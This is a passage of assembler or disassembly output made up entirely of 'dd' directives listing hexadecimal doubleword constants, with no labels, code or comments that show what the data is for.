		dd 6C29847Ch, 0D3DED439h, 244BFC0Ah, 0F2FB6CF7h, 58372559h
		dd 585694FBh, 311840Ah,	0D3477B03h, 0F3201078h,	343E5F71h
		dd 43F3E87Ch, 5E96465Bh, 0AE123412h, 2B4B7AC3h,	0CBF9B556h
		dd 8AA4008Eh, 0D475CF59h, 8F3B46C1h, 92E64FD5h,	4288FFA8h
		dd 5838CA45h, 1EB9A679h, 583FA265h, 0DD5B0ECFh,	0B421451h
		dd 0F14374E2h, 69F2F4ADh, 9FB958F0h, 2A9A6F19h,	0E4062236h
		dd 0E15C283Dh, 1A049DEAh, 0E6B7DA53h, 6888E983h, 0DBC97F02h
		dd 0AE8D3631h, 0E1D826B2h, 7C66959Ch, 97AE3BB0h, 0B8E26B6Ah
		dd 1134DEE0h, 42EAE70h,	0B9196269h, 0AA22499Fh,	2568B692h
		dd 1B45ADB0h, 585730C9h, 9D956CB8h, 0CF58E215h,	0FE4E3B1h
		dd 9015F222h, 0BFC4AE9Dh, 4E978446h, 0A56F7291h, 0D5BABBC5h
		dd 26A23C50h, 47F647C8h, 55EBD583h, 7DD6956Ah, 9D425631h
		dd 0FA5B592Ch, 0B8CF8A02h, 0CD5433Dh, 0DC780003h, 6C45D57Ah
		dd 0C283F8D4h, 96A49855h, 4A63CCB9h, 0C8C5F790h, 1E3560E8h
		dd 4BDB3ABDh, 7AE857F5h, 0A14C1C6Bh, 0DE713781h, 0B209A20Ah
		dd 0A1AE9DCDh, 0FA284AAEh, 0DE1A27D4h, 539EFD59h, 0CC5915DFh
		dd 5B84F982h, 0E8B1DE5h, 0EE6682C7h, 0AF4EDB5Bh, 213C5A17h
		dd 0ACC01901h, 0E878DBFDh, 0F960E7D8h, 0FC14814Ch, 4382A201h
		dd 83EC9FBCh, 86676133h, 0DD3E22A8h, 0F733E4DFh, 2E148686h
		dd 2D3900ABh, 6E82CAFh,	9ED3E85Ch, 0ED18B745h, 4A30B53Dh
		dd 2F24FAFBh, 0F8713FE6h, 0E4836A6Bh, 0F203FFA1h, 0C505674Dh
		dd 0E05647Bh, 9DA26EF2h, 2050481Ah, 5EC31E4h, 0C341B92Ah
		dd 9C71A5C9h, 0DAF092A1h, 4E74F1F1h, 3FF5ADF0h,	7E17B0D6h
		dd 61072302h, 8DD5D812h, 6C7C273Bh, 489DE55Dh, 780C5AF2h
		dd 0E6084EC9h, 5ADAA55Bh, 0E288D739h, 0A2105D4Fh, 6A6A0380h
		dd 226F3FEh, 1BF861DDh,	23300FB8h, 42C8B672h, 0A21DA5A0h
		dd 0C9778689h, 0A4759F43h, 20802830h, 4E5ECD0Ah, 5507B5BEh
		dd 621B8C3Ch, 3A9B76CEh, 7373352Ch, 2917858Bh, 4115676h
		dd 1F602AC5h, 3F241626h, 9E07BDF2h, 9612D922h, 8AF985C4h
		dd 27F5E23h, 5ADE3177h,	41F64CC1h, 3BFA0EB3h, 1AA1385Dh
		dd 13BA974Dh, 0A7B54FEBh, 9FF15D2Eh, 595F9917h,	22ECA95Fh
		dd 0D4C98E42h, 51D024BBh, 12D76F05h, 6A0D1909h,	25B2AB01h
		dd 41AD24B7h, 463F47C5h, 0D546A2B0h, 976E0BA7h,	47FB5472h
		dd 1719B483h, 2F82EF86h, 6A99C48Eh, 1D19CCFEh, 0E75AA8A3h
		dd 7662C47Ah, 8A650D28h, 0F8CDCB24h, 8444034Eh,	3BB5EEA1h
		dd 0F2B20E75h, 191A079Eh, 0CA8F8DA6h, 4ABE5842h, 4A0631BAh
		dd 1B1BA303h, 14677764h, 2EC37826h, 4E29D306h, 0A35073EFh
		dd 8D931FAAh, 0A25A24B9h, 1179985Dh, 52D9E515h,	35FCDF39h
		dd 0A9F30BB7h, 5FBFF6DAh, 6C6F3D99h, 0E14071B9h, 0F41FB003h
		dd 3CBAAD5Bh, 26F659ECh, 87B2D1BEh, 9CA0E701h, 0DAFB3ADh
		dd 298391CAh, 4A35211Fh, 0BDCCC1F1h, 4855AA28h,	7F82E7C2h
		dd 9480BF15h, 400D8F14h, 68F10263h, 7A848CBEh, 58F44A7Eh
		dd 1A7248C1h, 4DF69A33h, 0A3DE2213h, 0DCE9F6BCh, 7AB2D26h
		dd 6BF25F61h, 413DB0D5h, 59776A85h, 0C589AF8Bh,	1F2F7074h
		dd 9F7FCEC3h, 925B1D24h, 0EB20E53Ch, 53312653h,	0AB7F0C9h
		dd 6859AF7Eh, 0B36E5EAh, 53427C0Fh, 1C7D18CBh, 0AFD23576h
		dd 0EF09F16Ah, 0AD9F77EBh, 0F6662206h, 0CB62AF7Ah, 187AB7CCh
		dd 128470DBh, 7F8C4554h, 0C7D29937h, 0CB4FCD6Eh, 98FF3604h
		dd 0DF907245h, 782A8C13h, 4E12490Bh, 0BAA2932Bh, 8FDAD0FBh
		dd 3645252Ch, 0DB2B1E82h, 3A9D0DC6h, 5B20542h, 0AB882B99h
		dd 0CED22899h, 0F2FBC6D0h, 0F7F5E149h, 0D1868208h, 0D10BE224h
		dd 77030D97h, 2A1B04B1h, 0A25C44C5h, 0F92F826Ch, 5D4E5DB3h
		dd 55B88498h, 1D7E825Ch
		dd 0B850CDC7h, 9868E2D8h, 89541458h, 0AF6F75C0h, 67958AFCh
		dd 0DF0E7379h, 99A487B3h, 0CE06EEF8h, 6522D20Ah, 0B42F83A2h
		dd 7680CF00h, 1E7976ADh, 9844A478h, 61F5C891h, 0F8F0D335h
		dd 3F47E33Dh, 61CF79F9h, 238C57CDh, 68C79524h, 910ED771h
		dd 491E677Ch, 897D8CF9h, 2BAD20F1h, 179C12A5h, 26A338CAh
		dd 4DDC97E1h, 0F4DA1FB9h, 0F6C4AAA1h, 7F4D8D1Fh, 0FCAD0B8Ah
		dd 905AC72Eh, 8F90C052h, 33867104h, 4A774AF8h, 66A62E45h
		dd 0D92D6E74h, 0C2C57FCBh, 93EB3B12h, 0D34CA9EDh, 5A8A2127h
		dd 0B0FEA9DEh, 95BA5482h, 7E81B08Eh, 24FDDF7Eh,	0CAB6DA99h
		dd 242AB7A0h, 0B9DEB9Ah, 0E1DABAEAh, 0E2B25C76h, 97F591F3h
		dd 0CC132D84h, 0A04FB324h, 28A0FF24h, 9B43F5Ah,	1A479C7Fh
		dd 27A20219h, 4E5F46Dh,	5EA3CDFDh, 0D0D3575Ch, 27C77ACDh
		dd 0B45E59F8h, 0CE07EDBBh, 6D696F50h, 614484C4h, 41E61D5Bh
		dd 56963184h, 0BEF83E6Ah, 61BC2902h, 5753F83h, 7807ECA5h
		dd 560C02A4h, 7706C1A3h, 0A04E2771h, 34B2CD8Ah,	301A7E5Eh
		dd 0A566AB9Bh, 0F4CB87FBh, 39E46797h, 8B319DF0h, 9CD2765h
		dd 6B45E10Ch, 0FA2E209Ah, 0F2938A4Fh, 1DF6A060h, 0C5401E45h
		dd 1C8A2920h, 0AD80C799h, 0B7EBC223h, 89F44F6Eh, 0E8E52544h
		dd 0FED7C991h, 71AC4A86h, 64C700B3h, 0D68ED4BBh, 0B264737h
		dd 37880C5Eh, 6C61349Fh, 0D735AB0Eh, 43CE157Ah,	0D13F093h
		dd 0FC9E2675h, 0D0C76CC0h, 0B650244Ah, 80EC2726h, 12AE0A9Eh
		dd 75594A85h, 40376EF3h, 3C072EEh, 6EE79E0h, 3CF58188h
		dd 66DDA6CDh, 0FAC19800h, 0DEF89A61h, 5501FE8Bh, 86F2CA89h
		dd 37465493h, 30FE5E2Fh, 0BD52F667h, 0EF6194ACh, 0A0F62162h
		dd 2CD6B6D7h, 46BAC647h, 6E61E93h, 88EA8320h, 0ACC67C59h
		dd 612B6E69h, 55B55843h, 6ADA4EB0h, 14A36894h, 0C73A5D32h
		dd 4816A7h, 0E5CD06Ch, 0B0460523h, 6E1ED7D1h, 0F98C5ACBh
		dd 76B044A5h, 4EA2FB15h, 6EC2BE5Ah, 0F36774CBh,	0F620E502h
		dd 0D88A2DDFh, 5D549323h, 3DA2DA52h, 6994E06h, 0EB2DDCB2h
		dd 0E361170Ch, 947EDD4Eh, 0E710410h, 3A2F76FFh,	60DDDE49h
		dd 0AC89AB1Ah, 0CA39BE3Eh, 76E60F30h, 1EB6DD6Bh, 3A1D9964h
		dd 0C671C516h, 1ED2FAE6h, 0A4796343h, 8B3505A1h, 98F7AE84h
		dd 7DFC27B5h, 3B2E4284h, 4FCC4740h, 99C085Ch, 9E34E772h
		dd 49D87D05h, 0B6DBE727h, 5AA0E7FFh, 0B819759h,	0E5633047h
		dd 0D4014772h, 970EFF5Ch, 0AB0645FEh, 4BE0E390h, 0D4476278h
		dd 0F77C11Ah, 23DB6439h, 8CF7095Bh, 0F6173815h,	53E90FA2h
		dd 7B22A243h, 6D430E17h, 3813A7FAh, 0BD65112Fh,	0E221B9DAh
		dd 1DF43886h, 77404C48h, 0E315E291h, 0E984EB2Ah, 0C33A73D4h
		dd 0E67A34BDh, 19D4EDE9h, 8FC664E7h, 0C7353050h, 0A7C22287h
		dd 5D15A71Bh, 2E00935Bh, 5A80BADDh, 208BFCA2h, 0F580B850h
		dd 0CF2B9FB6h, 0EA7ADA74h, 0C32328ADh, 0E51DF267h, 9928F3C0h
		dd 9F45E0B1h, 20790F49h, 3CF7FAF4h, 7D577F20h, 0C1662E1Fh
		dd 0B3A4E119h, 0B869659h, 0AF659862h, 849A5E51h, 825F122h
		dd 2573A926h, 0B6FCBC25h, 0FC9040EBh, 7C6005B2h, 2EDD950Dh
		dd 0EEA57C18h, 2472D6C0h, 0D85C229h, 2A8EC7D3h,	3E6560CFh
		dd 991D89EBh, 7E417261h, 2BFBEAAh, 0C977B203h, 878FE02Ah
		dd 9183345Ah, 0F43FE343h, 4F55FAF1h, 76FB20E3h,	3543D36Ah
		dd 6F2AC48h, 0DD51F18Dh, 4759847Ch, 8710F7B8h, 361B887Bh
		dd 0E3792614h, 0BC7D7E7Fh, 21219C45h, 3406D6B8h, 16FD0E7Ch
		dd 97666693h, 446A9FACh, 0F0DA4C50h, 24D5AD61h,	545C8D7Fh
		dd 0A1B2AB5Eh, 2869BD7Bh, 16669BCFh, 510828Ch, 0F36A8840h
		dd 0A692E23Ah, 0EB6584Ah, 81C98CC2h, 2C798366h,	7D5BE9BEh
		dd 53133CF7h, 5432CA0Eh, 926A8A98h, 0CBEF48B9h,	0DBA05C4Bh
		dd 0CBEB15D0h, 6A5AB91Dh, 34EBE1AEh, 9F5750F5h,	0D5072978h
		dd 8DBDD8ECh, 0CE2A002Dh, 81A74733h, 0D750ABFBh, 0A182B50Eh
		dd 1AF7C310h, 0C74D8598h, 0B4624F0h, 3A667CBh, 2E8FF1CCh
		dd 4748B5EDh, 0B846777Ch, 49944440h, 0C11235FEh, 0D1F360EAh
		dd 0B64600DAh, 0E68C7D2Dh, 5EF3598Ch, 3DF4D34Bh, 0CCC11BF0h
		dd 0FD7A5237h, 57716EEFh, 0AE8EDF22h, 3B04A367h, 7787AFE2h
		dd 0CCCC6BE6h, 162E2DDh, 0E07CE107h, 0D01B9727h, 0FC0054C6h
		dd 3144768Eh, 0DBB7CECFh, 0A041A8CFh, 5CCB486h,	955E9170h
		dd 0B7805B4Fh, 730E547Ch, 3636555Bh, 2C05A824h,	0DE78890h
		dd 8D10F56Fh, 0CB783169h, 0DC719213h, 24EB1942h, 48FD60D6h
		dd 0B5B7AAC6h, 8344F4Bh, 0CF458DDAh, 3A95670Fh,	0A1254CE5h
		dd 0E43EF8E5h, 84F1330Eh, 0B20044Dh, 10009B9Ch,	0D7ABC9E4h
		dd 8DCF2662h, 1763DE14h, 26E5C2A5h, 619308CDh, 5FD82537h
		dd 824612F1h, 7072D8AEh, 0B86F0E1Eh, 0B945FE2h,	0DB401C6Fh
		dd 6714EEFAh, 0A745B7FCh, 0A540BBBBh, 0B9DB35FFh, 9AA139C7h
		dd 9A72B9F8h, 0D3F33543h, 4349CB5Dh, 1B58766Ah,	99D3EFD2h
		dd 6A318F4h, 12B2005Dh,	0BECD4C8Bh, 2A23D8A8h, 4D462F79h
		dd 85FDE316h, 914AAD74h, 0FF254737h, 0A986DD3Bh, 25F85072h
		dd 0FD40693Ah, 6A21623Fh, 4FA341E2h, 1A02652Bh,	29B1D77Ch
		dd 0D03E13D5h, 34EE25CEh, 8B0FC427h, 0E6D84103h, 165D4038h
		dd 9F8DF12Eh, 0C430E543h, 4CF527B7h, 9A77A1E5h,	0EFE91F28h
		dd 533BA6B1h, 0ED5CB013h, 7084A711h, 37E3D2D0h,	4B7BC4A8h
		dd 9997F8EBh, 4E54C803h, 0FD14166Bh, 0E71F4160h, 30A0AAE9h
		dd 284891B9h, 4B680526h, 7810EA1Eh, 4B5E046Fh, 0D36180D9h
		dd 0A3E1271Fh, 6F65C492h, 0F7678808h, 45F59932h, 3F12D5F0h
		dd 5AE4756Ah, 8285718Dh, 0D229D789h, 1FF51E64h,	0A894384Ch
		dd 1BDEC3F6h, 5FB987F8h, 0D8B93D4Bh, 9F6D975Ch,	9603EC57h
		dd 2488CBAFh, 192593CAh, 59DEC9A5h, 8212BC6h, 0CB0F53F7h
		dd 864B264Dh, 83B7EBA2h, 1FDBD8AEh, 8239AE9Bh, 456D1943h
		dd 0B84BB7F1h, 3CA8A042h, 0A49E565Fh, 79BA0746h, 4B99CC6Fh
		dd 267C2C05h, 83008315h, 0A2D7DAA0h, 43D22BCAh,	504CC314h
		dd 8D37B31Bh, 4BD5D9A6h, 0D4D772A8h, 3B78A785h,	0B76D0ED1h
		dd 7FA61205h, 7B9A19BFh, 2694FB0h, 0FB9D674Ah, 141267B1h
		dd 0FAB20670h, 2F1E9FD8h, 434B23DEh, 0DC0F26CDh, 0D1922C8Dh
		dd 2DB74000h, 6763B678h, 897F06ADh, 6BA72AA8h, 2D077C9Ch
		dd 0F2BB21BEh, 40ABC656h, 0E9AAC60Eh, 445A7A93h, 53B46FC1h
		dd 87DAA90Fh, 89B70094h, 0AC622F46h, 9FE7F24Ah,	97BF1462h
		dd 31522B52h, 0F3B47B49h, 3A9FE667h, 288D1E7Ah,	0CA0F0733h
		dd 0F49E15D6h, 7B025EBEh, 0C91DDA81h, 8EF8451Dh, 0B226C310h
		dd 5A24FAA3h, 0F5A8F402h, 0D06D4899h, 0DF61CA0Eh, 8534F56Bh
		dd 0E1BD087Eh, 0E4D74A29h, 4E2949D6h, 4694BB9Fh, 77A2A55Eh
		dd 0FABF782Dh, 2C2866h,	81656F62h, 1F115927h, 69FBD387h
		dd 7063C131h, 47916D1Fh, 21D617EBh, 77F47388h, 0BB992EDAh
		dd 3B564E6Ch, 0F8F393B7h, 0AAB357E9h, 0AF3A59h,	0FE0DF8E5h
		dd 132E3170h, 26DE392Eh, 441BA881h, 8AD12C3Bh, 0B5E8A402h
		dd 0D7E0980h, 8827B574h, 0FDAF7240h, 40014C6h, 9522D45Dh
		dd 0B12A3C60h, 51100826h, 628B8981h, 0C8469028h, 5A4FCFDBh
		dd 227AEEFAh, 0A7127F0h, 0FEF1191Eh, 816BFA9Bh,	966EC088h
		dd 4841D48Ch, 6449B133h, 0BDC04FB5h, 0DD401050h, 9AABFBD1h
		dd 8F118D7Bh, 4DBFD59Eh
		dd 6D8CDD12h, 254E277Eh, 3C51C225h, 90FDD2C1h, 0E6F78D18h
		dd 0BDC3EE58h, 0CD819771h, 1DF35F46h, 3D4C7F03h, 6EC29B5Ch
		dd 5340FA01h, 69A715FBh, 665257h, 1FE7E0E9h, 10446F8Eh
		dd 0F7C71D37h, 563428A4h, 0DAA389D3h, 0F77480A3h, 0A36D4C75h
		dd 347A6A0Dh, 832859ADh, 0EEAF20A3h, 0C3AF1BC4h, 646036Fh
		dd 0CAC45CA3h, 8FCAFEB5h, 97087E04h, 0E10D5757h, 279CAE10h
		dd 0AEE91091h, 0F6B27D44h, 0BD2E3DA3h, 241AC32h, 645C94B2h
		dd 19ABEADDh, 0BD9F9DE0h, 8CEF37B9h, 0E6982CACh, 136043A4h
		dd 4FB6047Eh, 47339395h, 0A41E8ED6h, 0BC798E7Ah, 0F82814F2h
		dd 0C20F08C4h, 351CF505h, 5C63D778h, 3AADE4A9h,	106308E0h
		dd 0DA33E8CCh, 3240B6CEh, 2CB592BBh, 94A94579h,	43D951C5h
		dd 98AA10ACh, 5772D835h, 0F3DE9E14h, 0BA987FB5h, 0A0226BE8h
		dd 0BA618754h, 397C999Fh, 0A1B425EBh, 0A3C8C525h, 0EE405BF7h
		dd 36A99D6Bh, 0A2E0F5A0h, 316F2953h, 210729F4h,	8E70C9h
		dd 27D9B5ACh, 1060C1CDh, 9C3E7598h, 5863A907h, 6E5EE517h
		dd 13624196h, 3766DC04h, 0D8A08A12h, 0DFA79EE7h, 0CDCF2DCDh
		dd 0B644A837h, 902D18AAh, 0AC96D8E9h, 0DC0996F3h, 0EF0D0C83h
		dd 50B5C4Fh, 618ED301h,	0F9A2CB87h, 0D3772C7Eh,	0FEA8BEAh
		dd 5AE56F96h, 59EDE51Fh, 0E0E3A812h, 2A2C8B1Ch,	432A8259h
		dd 0E25ADA59h, 337D89C1h, 0F9F634E6h, 50E66ADBh, 9E72F5C0h
		dd 81220646h, 65049E97h, 2A017D5h, 0ADFC6C11h, 0E89E6AA1h
		dd 0EB8210B8h, 265C5570h, 2F4E2C2Bh, 0FA441A58h, 0FAF02A6Ch
		dd 1597F719h, 71B63F31h, 0A037D256h, 4C6AF135h,	8999B26Eh
		dd 0A067DC0Eh, 60DC7DF9h, 57838974h, 476F065Bh,	96AE997Bh
		dd 66D7C79Ch, 365AB253h, 1D9E87DEh, 8CC3BF5Bh, 7901E2EAh
		dd 966F87h, 0C3A5E66h, 0F842F6B0h, 0FA8294E7h, 0AE8DC8A8h
		dd 9338DF4Ch, 0D33DB1D8h, 65CA95A0h, 0D28223BEh, 9A926B38h
		dd 80396813h, 0DD1B8D57h, 0BDB81CE7h, 0BD6FE4EAh, 1D89BCCFh
		dd 577A819Dh, 7AD9CFB4h, 5BD8FBF5h, 33A8F337h, 0B154BB76h
		dd 0ABF28E0Bh, 0ACFB4570h, 0F805C8CCh, 508A4FFFh, 61509DBBh
		dd 6FFA5019h, 0BA35A9A7h, 27660B3h, 0CE70AC7Ch,	0F5550EC3h
		dd 0FDF42A01h, 67012550h, 76E2CB5Ch, 0E34EB899h, 755AA07h
		dd 0E9DCE42Fh, 87D27199h, 4A2B89DDh, 6B9732ACh,	0ADCCAFA3h
		dd 7FE8F224h, 0D125A9E3h, 149C837h, 0A39A2F45h,	5D6BFDDh
		dd 8AFAB0h, 0E03A3126h,	0D3C0846Fh, 0B6038E5Ch,	9A3365EBh
		dd 0DB0356F2h, 234221F1h, 0AB266D76h, 0E5688343h, 1DB6D95Ah
		dd 0BED29281h, 0AAC99C8Ch, 91A1E61h, 5B2D46C0h,	0C24EC47Dh
		dd 3F2A6006h, 2AE9A36Ah, 695E7D89h, 0C3E0B085h,	6274E00Fh
		dd 9372B79Dh, 0B5A60FECh, 0E39E9CADh, 82E1D0B9h, 0EE0C7074h
		dd 0D9E94EFEh, 8218020Bh, 16E41F02h, 700091C9h,	2D3E0E68h
		dd 92177487h, 0CFDEA07Dh, 0EA1276E0h, 1E005623h, 10FD99ACh
		dd 2E105FC2h, 17CEE47Fh, 1034162Dh, 0FC88A9DDh,	2A787036h
		dd 98225764h, 5F7290D3h, 515D86A3h, 71170266h, 14EBDDF6h
		dd 0C591AB13h, 19EE6CCDh, 87BDD78Ch, 4FF24B55h,	11B69FA4h
		dd 0EA0B31BFh, 789191D4h, 580B5873h, 0BCF2A5D4h, 1F90EFACh
		dd 1236A7FBh, 0BD88561h, 0F821A95Ch, 248D1308h,	0AE2E31h
		dd 0ACF63E80h, 2140D791h, 0DDF9A05Bh, 77579E9Ch, 14E6B067h
		dd 0E92F2541h, 325D3553h, 0F41B4010h, 870C0B14h, 0FDFE0FAh
		dd 0EA62BADBh, 561D301Ch, 7A16276Ch, 0CF987059h, 78AFBA1Eh
		dd 0F4499CB9h, 0E9A70856h, 0F1A1D449h, 0A9431B77h, 0ED1D0F71h
		dd 98671DA8h, 7445E210h, 2EF937Ch, 0CD321CC7h, 55DDB9DAh
		dd 22BDC619h, 54B4ED45h, 6283632Ch, 0A916B4B4h,	3631A902h
		dd 0A0D8C222h, 8DAA6DB0h, 1E015499h, 1E8E187Eh,	295D7BECh
		dd 9AA4D43Fh, 6DF3E8B9h, 0C397CE67h, 79EE9913h,	0E846C1F1h
		dd 2A2248E4h, 4995ADE1h, 8F5632F8h, 970FA5F6h, 6AE4544Ah
		dd 9EABBFF6h, 2E96F3AAh, 585DF55h, 0E2AC4478h, 0F2CF14BBh
		dd 0B6F1BADDh, 0A528DBFEh, 3685C98Bh, 47273492h, 0B30AF2BBh
		dd 65222C9Fh, 0EAEBED7Dh, 25304AC6h, 0F4D5D550h, 5A6A1E2Eh
		dd 3B23933Fh, 1E7EC0EBh, 53CB7670h, 0C479F37h, 22912ED3h
		dd 0CA6A1F5Bh, 652985EBh, 0C32CA594h, 0BE947348h, 1F73EAC6h
		dd 0A1BA7AE6h, 55F7B6FBh, 56972FDAh, 0BC5D6E0Ch, 0F805A24Bh
		dd 1243D89Ah, 996590A7h, 6BB51F3Eh, 65A7EB4Ch, 79F9A5E3h
		dd 0BBBC44A4h, 169D13D0h, 0CE3756BEh, 7DCCBD86h, 446760Ah
		dd 2458C9Ch, 6D72BA59h,	0D0686115h, 0D61F7CFCh,	5C61D3Dh
		dd 2479FF92h, 121C52A2h, 0BB173BEFh, 0ADFB4C5Ah, 0E2DF55DCh
		dd 0D618C5B5h, 22EAB7AFh, 45A0C564h, 0E13FFE47h, 7DBD67D1h
		dd 0DBB7322Ah, 0FC2357C3h, 0D8C38F3Dh, 5E6D8585h, 6AB2F0A1h
		dd 621A4DE5h, 121138B6h, 7327C6D0h, 0CE8F51A9h,	0DA266E9h
		dd 3B335EC1h, 31552D7Eh, 53ADF529h, 0C60A08E6h,	81CA5490h
		dd 0ACEFF37Ah, 1BF9D989h, 0C99EB44Ch, 52EC14C8h, 44D891A2h
		dd 4D2FC78Ch, 0F796469Ch, 6E6F7F16h, 9CA3C3C1h,	0AD0EB8A6h
		dd 53EDBE2Dh, 370F82F2h, 2A00ECCFh, 8F61B920h, 0E2FFC24Fh
		dd 0C4EB7621h, 0E67DFC34h, 3DD6998Dh, 5085EC75h, 0CB018F49h
		dd 2EFD0099h, 16E34035h, 0ECED48BBh, 0FEBE7519h, 9751A5ECh
		dd 9F0187A4h, 7182071Ch, 0E1A4AA62h, 74636F30h,	2B6F1D18h
		dd 980842C8h, 1CD0D64Bh, 0FE718123h, 2FB3900Bh,	32C9960Eh
		dd 2307EA63h, 0B4B8C81h, 0CFCFB189h, 0D2292EE4h, 77B3227Fh
		dd 7ACBB40Fh, 0C0CBEE3Eh, 0F693C01Fh, 45B40A8Bh, 0EDC6DD64h
		dd 0AAF8EAD7h, 10DCE40Dh, 20916972h, 3C5DF19Ah,	0C12F2AC9h
		dd 0BF6285C3h, 0F2891F99h, 4DAD4A2Fh, 94BA1F67h, 5EBE9F8Bh
		dd 23A46A77h, 0AD94E0A9h, 0B37C5091h, 125FC10Dh, 51951778h
		dd 26820715h, 44656A04h, 74AFFE06h, 5AD95DB4h, 7C0B8250h
		dd 4F871102h, 9EA6DD65h, 0A74E7640h, 57C741C6h,	0C334AD96h
		dd 93CB614Eh, 0BF7F159Eh, 9A69C94Ch, 9CEB8035h,	0AC7FBE4Ah
		dd 3DCC00FFh, 4C51C3D9h, 9FC981A4h, 0D7FFC74Bh,	0AE90C352h
		dd 5733BD69h, 5A40D4DEh, 32394C8h, 0BE666FAFh, 8E97D55Eh
		dd 77D01171h, 55DC8C56h, 5DC6B06Ch, 41C2EC2Ah, 1B28CF67h
		dd 0BC33AE94h, 993F8F05h, 0F77BB8A6h, 0B25897DAh, 4025461Ch
		dd 18FF2AC0h, 0F54B6F68h, 0BEF5D997h, 0DAEC9404h, 0C92F89EFh
		dd 0C4EBED98h, 46DCF256h, 4907FA80h, 7B576147h,	5AFE3C2Ch
		dd 52ACF192h, 98217402h, 890E606Dh, 31854DDDh, 0A4505BAh
		dd 0D258D23Ch, 71F6A536h, 0B9F826CDh, 2D791173h, 1B367A26h
		dd 13EC026Bh, 0B3E206C9h, 5CE3280Ch, 331CC865h,	0B06BD14Bh
		dd 0F9445A1h, 51374116h, 23F871E8h, 0B8EB4A46h,	0B11327E4h
		dd 481C9CE7h, 0D994266h, 0E7C609B7h, 4A23F64Bh,	0A34CF7AAh
		dd 5E62CA2Bh, 645C3320h, 14AE91FBh, 734271Dh, 0E4F50856h
		dd 49258C39h, 482F916Fh, 147D31D3h, 49AF486Fh, 0E651DAE9h
		dd 6C7C77ECh, 675F9716h, 0A04F3728h, 0E9DD0632h, 9D4887E8h
		dd 73DA759Ah, 9DC17B12h, 1C4CCA1Fh, 12DFD4C5h, 1EA7B137h
		dd 68DA2B02h, 0A97BE7C1h, 289B4498h, 61D26806h,	78190006h
		dd 6C5893D8h, 0BB7AA335h, 0EAF97D33h, 528220BEh, 0E97AC6D9h
		dd 5004C5C6h, 564F3C6Ch, 134542FDh, 0C29A9048h,	0B4E54F8h
		dd 0B73CDEE2h, 0B426E04h
		dd 9F7A4C91h, 0F07B93E7h, 62C3C10h, 2BDF921Ch, 0F7097BCAh
		dd 0A95C6722h, 0EF2C240Ch, 1812999Eh, 81B4C98h,	493FE7B4h
		dd 31B79E34h, 0D00B5DA7h, 0BEA8BD53h, 0B1D120C4h, 650B0875h
		dd 6D437850h, 4A159D4Ch, 8252412Bh, 0E8BBD306h,	332C9F36h
		dd 0D58C0FBDh, 3B0FC956h, 1F1EB0BBh, 66E7B157h,	313B1377h
		dd 0D7DA9BFh, 8ADE9A79h, 0DFA7A18h, 0A5BD1B99h,	60669EE8h
		dd 0DF106536h, 5CC43B99h, 0AF7972AFh, 9561AC23h, 1BE05C38h
		dd 9D447D2Ch, 0A873EFBAh, 5A3E6791h, 144CA3EFh,	7514274Ah
		dd 6FF8B8FAh, 6B9176A4h, 0D63FBFFh, 0C9B136BDh,	48C4E24Ch
		dd 26E4A6EFh, 2B6E694Bh, 8C29746Ch, 0E6A3E1CEh,	64D1C75Bh
		dd 0CF4EB1C9h, 464A1DB4h, 0E8991ED4h, 0B8F10770h, 0C71A28h
		dd 7036F671h, 0B68761A9h, 0D84572AAh, 0D4298022h, 77E25C95h
		dd 0C10BD229h, 0C294D42Ah, 0FF09A013h, 0D4EBB4A4h, 0ADF6A48Dh
		dd 3EFA5079h, 1290EE33h, 31D18D9h, 0E329463Eh, 5F20970Eh
		dd 9D7EB88Dh, 5A47CCD1h, 8A817E46h, 7627FEC5h, 8B426975h
		dd 2A5C9E57h, 5BABFD5Eh, 0DB1F3D5Eh, 3C998463h,	36B33C77h
		dd 1816860Dh, 0D76394F7h, 0E9FA9F59h, 20A816Eh,	7C773162h
		dd 2DDE3F09h, 8D2CA0D5h, 83900D23h, 830400EBh, 0A3712F8Ch
		dd 0BE066D78h, 78FE87BFh, 650F0BD1h, 780C94C0h,	3002794h
		dd 462B8320h, 16A8B101h, 741F7F03h, 0B3AE89E9h,	9C1A0D46h
		dd 29B85257h, 7112C5D3h, 2915F928h, 5AE6FD24h, 7BA7497h
		dd 27571EFFh, 5352FDABh, 5F95A430h, 885DA3A0h, 116E10AEh
		dd 1730B7B4h, 22C00364h, 6E39DEADh, 211243CCh, 0CB80C876h
		dd 0C6245E85h, 59F39EE3h, 0C1A68254h, 0E2F11527h, 0C4BA331h
		dd 0D7690BE9h, 16C78BA2h, 0C0FB1AFAh, 0D846307Ch, 438CFC00h
		dd 0E0FFB354h, 0D272A996h, 756C03B8h, 3719C192h, 629DF7F1h
		dd 0ACFE2B95h, 331A437Fh, 0D104F295h, 726D261h,	0BF9D1814h
		dd 4BC99457h, 664470C9h, 1A5EE3C6h, 94CD48ABh, 77A3539Ah
		dd 0A29D6312h, 0C41E3D73h, 308E7138h, 0F35890A3h, 717BCD5Dh
		dd 6EFA42F7h, 0D3C4EF9h, 0A711513Fh, 0C1569856h, 0E4CDE110h
		dd 78E81ECCh, 61C5AF30h, 0B2A23AC6h, 44AF3768h,	0D9276658h
		dd 0C7FB31D7h, 142AD285h, 56CE8DC4h, 0FCF2FA1h,	60DB07Bh
		dd 814083C7h, 40DFFE61h, 39BD1035h, 601DDA3Dh, 7CC1270Ah
		dd 0CF96CB23h, 6C08FEE9h, 7E54D58Ch, 13B92E73h,	0ED36265Fh
		dd 0A65C5048h, 19910929h, 56AA1E6Bh, 0FDE434B5h, 4E609E32h
		dd 0F02331B4h, 0DE37CAB5h, 76954533h, 61726D94h, 0E1579E2Bh
		dd 0C25F5831h, 0A0D2EC8Ah, 460EF697h, 7EB758ECh, 37AB469Bh
		dd 767FC3B6h, 50FF9EB8h, 5B68CB0Fh, 8C75A3F0h, 9FFB8451h
		dd 9E122ECh, 0E6F387C4h, 7D942939h, 0C27314FFh,	9DFC4AD3h
		dd 6F98B132h, 16421FCEh, 0B10F2C0Ah, 0B06BF726h, 666C4062h
		dd 0D8AB1111h, 69C05C77h, 8A46C2C8h, 0C7F9D021h, 0B5C04BBDh
		dd 0C42DE916h, 53048054h, 363AEFEFh, 899A3A22h,	0CDBABFE0h
		dd 2E0BFAECh, 0EFF1F844h, 1FE0E081h, 832BCCC6h,	160190EEh
		dd 93FC34B0h, 0DA8C23E7h, 293C202Eh, 5A0AE5B0h,	0E89C8925h
		dd 0C5CB9567h, 0E0DA4252h, 160CB4BCh, 0FEBE36E9h, 847F8533h
		dd 4F1D861Eh, 714774Eh,	8297A866h, 295115FBh, 5746F323h
		dd 569ED710h, 69916B6Bh, 2B3AF559h, 974DBE8Dh, 5878B097h
